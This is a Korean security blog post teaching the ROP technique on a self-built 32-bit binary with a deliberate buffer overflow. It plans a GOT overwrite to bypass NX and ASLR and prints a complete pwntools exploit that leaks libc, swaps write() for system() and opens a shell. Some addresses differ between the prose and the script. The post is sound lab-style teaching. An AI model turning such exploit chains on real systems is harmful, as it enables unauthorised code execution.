-
ELF Technique - ROPSystem hacking training/Knowledge 2018. 3. 5. 03:46
ROP 를 배우기 전에 선행되어야할 개념들이 존재한다.
위 내용을 선행한 후 ROP 를 이해할 수 있다.
ROP 란?
Return Oriented Programming의 약자로, 우리말로 하면 반환 지향형 프로그래밍이다.
현재 수행중인 프로그램 코드 안에 존재하는 서브루틴이 리턴 명령어에 닿기 전에 기계 명령어 또는 기계 명령어 덩어리를 간접적으로 실행시키기 위해 콜 스택을 제어하는 기술이다.
실행되는 모든 명령어들이 원래 프로그램 안에 존재하는 실행 가능한 메모리 영역에서 추출한 것들이기 때문에, 이러한 기술은 사용자 제어 메모리 공간에서 명령어 수행을 방지하는 DEP/NX bit, ASLR들을 우회하는 코드 인젝션과 같은 기술들을 사용하지 않아도 우회가 가능하다.
먼저 ROP를 이해하기 위해 바이너리 하나를 만들어준다.
[ROP.c]
123456789101112#include <stdio.h>int main(){char buf[100];read(0,buf,256);write(1,buf,100);return 0;}cs 이렇게 작성한 파일을 NX 와 ASLR이 걸린 상태로 익스플로있에 성공을 할것이다.
먼저 이 프로그램은 간단히 read() 와 write()를 사용하는데
read()에서 buf 배열의 크기보다 큰 바이트수를 받음으로서 bof가 터지는것을 알 수 있다.
컴파일을 해줄때 NX만 걸리도록 하였고,
보다시피 ASLR도 걸려있기 때문에 쉘코드를 이용한 공격을 할 수 없고, system() 의 주소도 가변적이기 때문에
offset을 이용하여야 한다.
먼저 시나리오부터 작성을 해보면
[NX bit / ASLR 을 우회하기 위해 ROP 기법사용]
1. write()를 이용하여 read()의 실제 주소를 구해준다.
2. read()를 이용하여 bss영역에 /bin/sh을 넣어준다.
3. read()를 이용하여 write()의 got를 system()의 주소로 변조한다.
4. 변조된 write() (system()가 된 write())를 호출하며, /bin/sh을 넣어준 bss주소를 인자로 넣어준다.
이러한 과정을 거쳐 ROP가 완성되는데
위의 시나리오대로라면 준비물이 필요할듯 하다.
먼저 read() 의 plt, got 그리고 write() plt, got가 필요하다.
또 system()의 offset, bss의 주소, 마지막으로 pppr gadget이 필요하다.
따라서 이것들을 차례대로 구해주면 되는데, 과정은 이러하다.
[read() plt&got]
gdb를 이용하여 read@plt의 주소를 확인하고, x/3i 로 해당 주소의 instruction을 보면 바로 jmp하는 부분이 있는데
여기가 read()의 got이다.
마찬가지로 write()의 plt 와 got도 구해주었다.
[write() plt&got]
그리고 system()의 offset을 구해줬는데
이런식으로 구해주면 된다.
더 큰 주소에서 작은 주소를 빼서 system()의 offset까지 구해보았다.
이제 bss주소와 함수의 인자를 정리해주며 다음 함수를 연속적으로 호출하기 위한 pppr gadget만 구해주면 된다.
이는 objdump를 이용하였다.
먼저 bss영역의 주소는
0x08496d4임을 확인했고,
pppr gadget의 주소로 0x8048a9가 나왔다.
이제 이를 이용하여 payload를 작성하면 된다.
12345678910111213141516171819202122232425262728293031323334353637383940414243444546from pwn import *p = process('./ROP')ELF('./ROP')read_plt = 0x80482e0read_got = 0x80496c0write_plt = 0x8048300write_got = 0x80496c8system_offset = 0x99a10bss = 0x080496d4pppr = 0x80484a9payload = "A" * 104payload += p32(write_plt)payload += p32(pppr)payload += p32(1)payload += p32(read_got)payload += p32(4)payload += p32(read_plt)payload += p32(pppr)payload += p32(0)payload += p32(bss)payload += p32(8)payload += p32(read_plt)payload += p32(pppr)payload += p32(0)payload += p32(write_got)payload += p32(4)payload += p32(write_plt)payload += "AAAA"payload += p32(bss)p.send(payload)read_addr = u32(p.recv()[-4:])system_addr = read_addr - system_offsetp.send('/bin/sh\00')p.send(p32(system_addr))p.interactive()cs 반응형'System hacking training > Knowledge' 카테고리의 다른 글
[x86 vs x64] Memory Address (2) 2018.03.19 ELF Memory Protection - RELRO (2) 2018.03.07 ELF Technique - GOT Overwrite (0) 2018.02.28 ELF PLT & GOT (1) 2018.02.27 ELF Technique - RTL Chaining (1) 2018.02.22